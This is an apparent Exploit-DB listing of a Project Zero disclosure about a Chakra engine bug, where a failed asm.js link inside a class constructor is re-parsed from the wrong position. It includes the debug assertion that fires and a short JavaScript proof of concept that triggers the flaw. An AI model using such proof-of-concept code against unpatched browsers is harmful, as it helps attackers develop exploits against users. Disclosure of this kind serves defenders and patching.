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vendor:
Chakra
by:
Project Zero
8,8
CVSS
HIGH
Improper Linking of Asmjs Module
20
CWE
Product Name: Chakra
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2017

Chakra incorrectly handles the case where the function is a class

When Chakra fails to link an asmjs module, it tries to re-parse the failed-to-link asmjs function to treat it as a normal javascript function. But it incorrectly handles the case where the function is a class. It starts to parse from the start of the class declaration instead of the constructor. So it may result in binding incorrect information to the constructor.

Mitigation:

Ensure that the asmjs module is properly linked before it is used.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1271

When Chakra fails to link an asmjs module, it tries to re-parse the failed-to-link asmjs function to treat it as a normal javascript function. But it incorrectly handles the case where the function is a class. It starts to parse from the start of the class declaration instead of the constructor. So it may result in binding incorrect information to the constructor. In the PoC, it binds the information of the method "f"("f2" in the latest release version of Edge) to the constructor.

The PoC hits the following assertion in the debug build.
FuncInfo * ByteCodeGenerator::StartBindFunction(const char16 *name, uint nameLength, uint shortNameOffset, bool* pfuncExprWithName, ParseNode *pnode, Js::ParseableFunctionInfo * reuseNestedFunc)
{
    bool funcExprWithName;
    Js::ParseableFunctionInfo* parseableFunctionInfo = nullptr;

    Js::AutoRestoreFunctionInfo autoRestoreFunctionInfo(reuseNestedFunc, reuseNestedFunc ? reuseNestedFunc->GetOriginalEntryPoint() : nullptr);
    
    if (this->pCurrentFunction &&
        this->pCurrentFunction->IsFunctionParsed())
    {
        Assert(this->pCurrentFunction->StartInDocument() == pnode->ichMin); <<------- here
        ...
    }
    ...
}

"this->pCurrentFunction" is the consturctor, but "pnode" refers to the method "f".


PoC:
-->

class MyClass {
    f(a) {
        print(a);
    }

    constructor() {
        'use asm';
        function f(v) {
            v = v | 0;
            return v | 0;
        }
        return f;
    }

    f2(a) {
        print(a);
    }
}

MyClass(1);